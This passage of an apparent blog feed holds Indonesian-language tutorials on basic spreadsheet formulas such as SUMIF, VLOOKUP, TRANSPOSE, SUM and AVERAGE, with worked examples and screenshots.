&lt;section&gt;&lt;h2&gt;SUMIF&lt;a href=&quot;#sumif&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Mirip dengan fungsi &lt;strong&gt;SUM&lt;/strong&gt; di series sebelumnya, fungsi &lt;strong&gt;SUMIF&lt;/strong&gt; digunakan untuk menjumlahkan otomatis nilai sehingga kita tidak perlu menghitung nilainya secara manual. Akan tetapi, penambahan ini hanya dilakukan jike memenuhi kriteria tertentu. Rumus &lt;strong&gt;SUMIF&lt;/strong&gt; ini dapat digunakan untuk menjumlahkan nilai dalam sel, baik secara vertikal atau secara horizontal.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Rumus &lt;strong&gt;SUMIF&lt;/strong&gt;&lt;a href=&quot;#rumus-sumif&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;SUMIF(A1:A10; &quot;&amp;gt;50&quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Menjumlahkan semua nilai dari sel &lt;strong&gt;A1&lt;/strong&gt; sampai &lt;strong&gt;A10&lt;/strong&gt; jika nilainya lebih dari 50.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Contoh:&lt;a href=&quot;#contoh&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Saya akan menjumlahkan nilai dari sel &lt;strong&gt;B3&lt;/strong&gt; sampai &lt;strong&gt;B7&lt;/strong&gt; yang lebih dari 80.&lt;br /&gt;
Jadi, rumus yang saya gunakan adalah&lt;/p&gt;&lt;p&gt;&lt;code&gt;=SUMIF(B3:B7; &quot;&amp;gt;80&quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;SUMIF&quot; loading=&quot;lazy&quot; width=&quot;543&quot; height=&quot;770&quot; src=&quot;/_astro/ss1.djEdqtLY_eDbe1.webp&quot; /&gt;&lt;figcaption&gt;SUMIF&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Langsung terlihat hasilnya adalah &lt;strong&gt;182&lt;/strong&gt;, karena hanya menjumlahkan 89 dan 93 saja.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;CONCATENATE&lt;a href=&quot;#concatenate&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Fungsi &lt;strong&gt;CONCATENATE&lt;/strong&gt; digunakan untuk menggabungkan atau merangkai satu string atau karakter dengan string atau karakter lainnya.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Rumus &lt;strong&gt;CONCATENATE&lt;/strong&gt;&lt;a href=&quot;#rumus-concatenate&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;CONCATENATE(A1:A10)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Menggabungkan karakter di sel &lt;strong&gt;A1&lt;/strong&gt; sampai &lt;strong&gt;A10&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Contoh:&lt;a href=&quot;#contoh-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Saya akan menjumlahkan nilai dari sel &lt;strong&gt;B3&lt;/strong&gt; dan &lt;strong&gt;C3&lt;/strong&gt;.&lt;br /&gt;
Jadi, rumus yang saya gunakan adalah&lt;/p&gt;&lt;p&gt;&lt;code&gt;=CONCATENATE(B3:C3)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;CONCATENATE&quot; loading=&quot;lazy&quot; width=&quot;670&quot; height=&quot;779&quot; src=&quot;/_astro/ss2.Esw8AdUz_2aX5mU.webp&quot; /&gt;&lt;figcaption&gt;CONCATENATE&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;MATCH&lt;a href=&quot;#match&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Fungsi &lt;strong&gt;MATCH&lt;/strong&gt; digunakan untuk mencari posisi suatu item atau nilai dalam rentang baris atau kolom tertentu. Hasil pencariannya akan menunjukkan lokasi baris atau kolom dimana item atau nilai yang dicari tersebut ditemukan.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Rumus &lt;strong&gt;MATCH&lt;/strong&gt;&lt;a href=&quot;#rumus-match&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;MATCH(10;A1:A10;0)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Mencari nilai 10 dari rentang baris &lt;strong&gt;A1&lt;/strong&gt; hingga &lt;strong&gt;A10&lt;/strong&gt; dengan tepat/presisi (0).&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Contoh:&lt;a href=&quot;#contoh-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Saya akan nilai 55 dari sel di baris &lt;strong&gt;B3&lt;/strong&gt; hingga &lt;strong&gt;B7&lt;/strong&gt; dengan presisi.&lt;br /&gt;
Jadi, rumus yang saya gunakan adalah&lt;/p&gt;&lt;p&gt;&lt;code&gt;=MATCH(55;B3:B7;0)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;MATCH&quot; loading=&quot;lazy&quot; width=&quot;530&quot; height=&quot;779&quot; src=&quot;/_astro/ss3.C-0fM7nh_ZYUGa8.webp&quot; /&gt;&lt;figcaption&gt;MATCH&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Hasilnya &lt;strong&gt;4&lt;/strong&gt; karena nilai 55 ditemukan berada di sel urutan ke-4 dari atas.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;LEFT, MID, RIGHT&lt;a href=&quot;#left-mid-right&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Fungsi &lt;strong&gt;LEFT, MID, RIGHT&lt;/strong&gt; digunakan untuk mengambil sub-string atau sub-karakter dalam sebuah sel. &lt;strong&gt;LEFT&lt;/strong&gt; berarti digunakan untuk mengambil sub-string atau sub-karakter dari kiri, &lt;strong&gt;MID&lt;/strong&gt; digunakan untuk menambil sub-string atau sub-karakter dari tengah, dan &lt;strong&gt;RIGHT&lt;/strong&gt; digunakan untuk mengambil sub-string dari kanan.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Rumus &lt;strong&gt;LEFT&lt;/strong&gt;&lt;a href=&quot;#rumus-left&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;LEFT(A1;2)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Mengambil 2 karakter dari sebelah kiri di sel &lt;strong&gt;A1&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Rumus &lt;strong&gt;MID&lt;/strong&gt;&lt;a href=&quot;#rumus-mid&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;MID(A1;4;3)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Mengambil 3 karakter di sel &lt;strong&gt;A1&lt;/strong&gt; mulai dari karakter ke-4.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Rumus &lt;strong&gt;RIGHT&lt;/strong&gt;&lt;a href=&quot;#rumus-right&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;RIGHT(A1;2)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Mengambil 2 karakter dari sebelah kanan di sel &lt;strong&gt;A1&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Contoh LEFT:&lt;a href=&quot;#contoh-left&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Saya akan mengambil 4 karakter dari sebelah kiri di sel &lt;strong&gt;A3&lt;/strong&gt;.
Jadi, rumus yang saya gunakan adalah&lt;/p&gt;&lt;p&gt;&lt;code&gt;=LEFT(A3;4)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;LEFT&quot; loading=&quot;lazy&quot; width=&quot;619&quot; height=&quot;777&quot; src=&quot;/_astro/ss4.B5gxwKXs_Z1c8NjF.webp&quot; /&gt;&lt;figcaption&gt;LEFT&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Contoh MID:&lt;a href=&quot;#contoh-mid&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Saya akan mengambil 4 karakter di sel &lt;strong&gt;A3&lt;/strong&gt; dimulai dari karakter ke-2.
Jadi, rumus yang saya gunakan adalah&lt;/p&gt;&lt;p&gt;&lt;code&gt;=MID(A3;2;4)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;MID&quot; loading=&quot;lazy&quot; width=&quot;614&quot; height=&quot;778&quot; src=&quot;/_astro/ss5.7vUY5j89_2doURt.webp&quot; /&gt;&lt;figcaption&gt;MID&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Contoh RIGHT:&lt;a href=&quot;#contoh-right&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Saya akan mengambil 4 karakter dari sebelah kanan di sel &lt;strong&gt;A3&lt;/strong&gt;.
Jadi, rumus yang saya gunakan adalah&lt;/p&gt;&lt;p&gt;&lt;code&gt;=RIGHT(A3;4)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;RIGHT&quot; loading=&quot;lazy&quot; width=&quot;616&quot; height=&quot;776&quot; src=&quot;/_astro/ss6.c9Oc5Cwn_17pwOJ.webp&quot; /&gt;&lt;figcaption&gt;RIGHT&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;HLOOKUP &amp;amp; VLOOKUP&lt;a href=&quot;#hlookup--vlookup&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Fungsi &lt;strong&gt;HLOOKUP &amp;amp; VLOOKUP&lt;/strong&gt; digunakan untuk mencari suatu item atau nilai di sebuah sel. &lt;strong&gt;HLOOKUP&lt;/strong&gt; digunakan untuk melakukan pencarian yang horizontal (kanan-kiri), sementara &lt;strong&gt;VLOOKUP&lt;/strong&gt; dignakan untuk melakukan pencarian yang vertikal (atas-bawah).&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Baik &lt;strong&gt;VLOOKUP&lt;/strong&gt; maupun &lt;strong&gt;HLOOKUP&lt;/strong&gt; mempersyaratkan ID sebagai identifikator.&lt;/p&gt;&lt;/blockquote&gt;&lt;section&gt;&lt;h4&gt;Rumus &lt;strong&gt;VLOOKUP&lt;/strong&gt;&lt;a href=&quot;#rumus-vlookup&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;VLOOKUP(C3;A1:E10;3;FALSE)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;C3&lt;/strong&gt; adalah ID-nya (kode unik yang sama).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A1&lt;/strong&gt; adalah rentang tabel yang digunakan untuk mencari item atau nilai.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;3&lt;/strong&gt; adalah kolom ke-3 dari tabel yang sudah dipilih sebelumnya.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FALSE&lt;/strong&gt; artinya pencarian dilakukan untuk mencari nilai tepat/presisi.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Rumus &lt;strong&gt;HLOOKUP&lt;/strong&gt;&lt;a href=&quot;#rumus-hlookup&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;HLOOKUP(C3;A1:E10;3;FALSE)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;C3&lt;/strong&gt; adalah ID-nya (kode unik yang sama).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A1&lt;/strong&gt; adalah rentang tabel yang digunakan untuk mencari item atau nilai.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;3&lt;/strong&gt; adalah kolom ke-3 dari tabel yang sudah dipilih sebelumnya.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FALSE&lt;/strong&gt; artinya pencarian dilakukan untuk mencari nilai tepat/presisi.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Contoh VLOOKUP:&lt;a href=&quot;#contoh-vlookup&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Saya mau mengisi data nilai murid-murid berikut di tabel yang sudah lebih rapi.
Jadi, rumus yang saya gunakan adalah&lt;/p&gt;&lt;p&gt;&lt;code&gt;=VLOOKUP(D3;A3:B7;2;FALSE)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;VLOOKUP&quot; loading=&quot;lazy&quot; width=&quot;829&quot; height=&quot;778&quot; src=&quot;/_astro/ss7.BZHtD8W__Ze9yux.webp&quot; /&gt;&lt;figcaption&gt;VLOOKUP&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kolom &lt;strong&gt;D3&lt;/strong&gt; adalah ID yang digunakan, kemudian, saya menyeleksi keseluruhan tabel yang mengandung nama siswa dan nilai yang ingin dipindahkan (A3-B7), dan karena saya hanya ingin mengambil &lt;strong&gt;nilai&lt;/strong&gt; saja, maka setelah itu saya pilih kolom ke-2 saja.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Contoh HLOOKUP:&lt;a href=&quot;#contoh-hlookup&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Saya mau mengisi data nilai murid-murid berikut di tabel yang sudah lebih rapi.
Jadi, rumus yang saya gunakan adalah&lt;/p&gt;&lt;p&gt;&lt;code&gt;==HLOOKUP(E6;$C$2:$G$3;2;FALSE)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;HLOOKUP&quot; loading=&quot;lazy&quot; width=&quot;953&quot; height=&quot;807&quot; src=&quot;/_astro/ss8.DDpDX4Iw_ZM1Vz2.webp&quot; /&gt;&lt;figcaption&gt;HLOOKUP&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kolom &lt;strong&gt;E3&lt;/strong&gt; adalah ID yang digunakan, kemudian, saya menyeleksi keseluruhan tabel yang mengandung nama siswa dan nilai yang ingin dipindahkan (C2-G3), dan karena saya hanya ingin mengambil &lt;strong&gt;nilai&lt;/strong&gt; saja, maka setelah itu saya pilih baris ke-2 saja.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;TRANSPOSE&lt;a href=&quot;#transpose&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Fungsi &lt;strong&gt;TRANSPOSE&lt;/strong&gt; digunakan untuk mengubah urutan baris atau kolom sehingga kita tidak perlu mengubah posisinya secara manual. Jika fungsi TRANSPOSE digunakan pada data-data dalam suatu baris, maka baris tersebut akan di-&lt;em&gt;transpose&lt;/em&gt; menjadi kolom. Begitupula sebaliknya.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Rumus &lt;strong&gt;TRANSPOSE&lt;/strong&gt;&lt;a href=&quot;#rumus-transpose&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;TRANPOSE(A1:A10)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Mengubah baris A1-A10 menjadi kolom.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Contoh:&lt;a href=&quot;#contoh-3&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Saya akan men-transposisi baris nama-nama di baris &lt;strong&gt;A3&lt;/strong&gt; hingga &lt;strong&gt;A7&lt;/strong&gt; menjadi kolom.&lt;br /&gt;
Jadi, rumus yang saya gunakan adalah&lt;/p&gt;&lt;p&gt;&lt;code&gt;=TRANSPOSE(A3:A7)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;TRANSPOSE&quot; loading=&quot;lazy&quot; width=&quot;919&quot; height=&quot;780&quot; src=&quot;/_astro/ss9.dSiyDcwE_Z9byXT.webp&quot; /&gt;&lt;figcaption&gt;TRANSPOSE&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Terlihat, sekarang nama-nama tersebut berubah urutannya menjadi horizontal.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://livingintelkom.medium.com/rumus-excel-dasar-yang-pemula-wajib-ketahui-4fc2d8e2b3c4&quot; target=&quot;_blank&quot;&gt;https://livingintelkom.medium.com/rumus-excel-dasar-yang-pemula-wajib-ketahui-4fc2d8e2b3c4&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.kitalulus.com/blog/seputar-kerja/rumus-excel/&quot; target=&quot;_blank&quot;&gt;https://www.kitalulus.com/blog/seputar-kerja/rumus-excel/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://kabar24.bisnis.com/read/20240923/79/1627817/47-rumus-excel-lengkap-beserta-contoh-dan-penjelasannya&quot; target=&quot;_blank&quot;&gt;https://kabar24.bisnis.com/read/20240923/79/1627817/47-rumus-excel-lengkap-beserta-contoh-dan-penjelasannya&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://support.microsoft.com/id-id/office/transpose-fungsi-transpose-ed039415-ed8a-4a81-93e9-4b6dfac76027&quot; target=&quot;_blank&quot;&gt;https://support.microsoft.com/id-id/office/transpose-fungsi-transpose-ed039415-ed8a-4a81-93e9-4b6dfac76027&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Basic Excel (Spreadsheet) Functions - Part 1</title><link>https://shangdi.github.io/posts/tech/excel1/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/excel1/</guid><description>6 basic excel (spreadsheet) functions / formulas: SUM, AVERAGE, MAX, MIN, COUNT, COUNTIF</description><pubDate>Fri, 24 Jan 2025 13:24:27 GMT</pubDate><content:encoded>&lt;p&gt;Di artikel ini, kita akan belajar menggunakan 6 fungsi dasar di Microsoft Excel atau Google Spreadsheet, yaitu &lt;strong&gt;SUM&lt;/strong&gt;, &lt;strong&gt;AVERAGE&lt;/strong&gt;, &lt;strong&gt;MAX&lt;/strong&gt;, &lt;strong&gt;MIN&lt;/strong&gt;, &lt;strong&gt;COUNT&lt;/strong&gt;, dan &lt;strong&gt;COUNTIF&lt;/strong&gt; &lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Saya akan mendemokan rumus-rumus tersebut di Google Spreadsheet karena 2 alasan utama:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;fungi-fungsi tersebut masih dapat berfungsi persis seperti ketika digunakan di Microsoft Excel.&lt;/li&gt;
&lt;li&gt;saya tidak punya excel di linux (dan malas juga &lt;em&gt;install&lt;/em&gt; via wine).&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;
&lt;section&gt;&lt;h2&gt;SUM&lt;a href=&quot;#sum&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Fungsi &lt;strong&gt;SUM&lt;/strong&gt; biasanya digunakan untuk menjumlahkan otomatis nilai sehingga kita tidak perlu menghitung nilainya secara manual. Rumus &lt;strong&gt;SUM&lt;/strong&gt; ini dapat digunakan untuk menjumlahkan nilai dalam sel, baik secara vertikal atau secara horizontal.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Rumus &lt;strong&gt;SUM&lt;/strong&gt;&lt;a href=&quot;#rumus-sum&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;SUM(A1:A10)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Menjumlahkan semua nilai dari sel &lt;strong&gt;A1&lt;/strong&gt; sampai &lt;strong&gt;A10&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Contoh:&lt;a href=&quot;#contoh&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Saya akan menjumlahkan nilai dari sel &lt;strong&gt;B3&lt;/strong&gt; sampai &lt;strong&gt;B7&lt;/strong&gt;.&lt;br /&gt;
Jadi, rumus yang saya gunakan adalah&lt;/p&gt;&lt;p&gt;&lt;code&gt;=SUM(B3:B7)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;SUM&quot; loading=&quot;lazy&quot; width=&quot;645&quot; height=&quot;758&quot; src=&quot;/_astro/ss1.AWtO9g_b_1d1QXu.webp&quot; /&gt;&lt;figcaption&gt;SUM&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Langsung terlihat hasilnya adalah &lt;strong&gt;378&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;AVERAGE&lt;a href=&quot;#average&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Seperti namanya, fungsi &lt;strong&gt;AVERAGE&lt;/strong&gt; digunakan untuk menghitung rata-rata dari kumpulan 2 nilai atau lebih sehingga kita tidak perlu menghitung rata-ratanya secara manual. Rumus ini juga dapat digunakan secara vertikal maupun horizontal.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Rumus &lt;strong&gt;AVERAGE&lt;/strong&gt;&lt;a href=&quot;#rumus-average&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;AVERAGE(A1:A10)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Menghitung rata-rata dari nilai yang terdapat di sel &lt;strong&gt;A1&lt;/strong&gt; hingga &lt;strong&gt;A10&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Contoh:&lt;a href=&quot;#contoh-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Saya akan menghitung rata-rata nilai dari sel &lt;strong&gt;B3&lt;/strong&gt; sampai &lt;strong&gt;B7&lt;/strong&gt;.&lt;br /&gt;
Jadi, rumus yang saya gunakan adalah&lt;/p&gt;&lt;p&gt;&lt;code&gt;=AVERAGE(B3:B7)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;AVERAGE&quot; loading=&quot;lazy&quot; width=&quot;504&quot; height=&quot;765&quot; src=&quot;/_astro/ss2.BPjW7PI2_Z1rACQU.webp&quot; /&gt;&lt;figcaption&gt;AVERAGE&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Langsung terlihat hasilnya adalah &lt;strong&gt;75,6&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;MAX&lt;a href=&quot;#max&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Fungsi &lt;strong&gt;MAX&lt;/strong&gt; digunakan untuk mencari nilai yang paling besar sehingga kita tidak perlu mencarinya secara manual. Rumus ini juga dapat digunakan secara vertikal maupun horizontal.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;Rumus &lt;strong&gt;MAX&lt;/strong&gt;&lt;a href=&quot;#rumus-max&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;MAX(A1:A10)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Keterangan:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Mencari nilai terbesar yang terdapat di sel &lt;strong&gt;A1&lt;/strong&gt; hingga &lt;strong&gt;A10&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Contoh:&lt;a href=&quot;#contoh-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Saya akan mencari nilai terbesar yang terdapat pada sel &lt;strong&gt;B3&lt;/strong&gt; sampai &lt;strong&gt;B7&lt;/strong&gt;.&lt;br /&gt;
Jadi, rumus yang saya gunakan adalah&lt;/p&gt;&lt;p&gt;&lt;code&gt;=MAX(B3:B7)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;MAX&quot; loading=&quot;lazy&quot; width=&quot;506&quot; height=&quot;761&quot; src=&quot;/_astro/ss3.C2BQJ0kC_17uMpN.webp&quot; /&gt;&lt;figcaption&gt;MAX&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Langsung terlihat hasilnya adalah &lt;strong&gt;93&lt;/strong&gt;.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
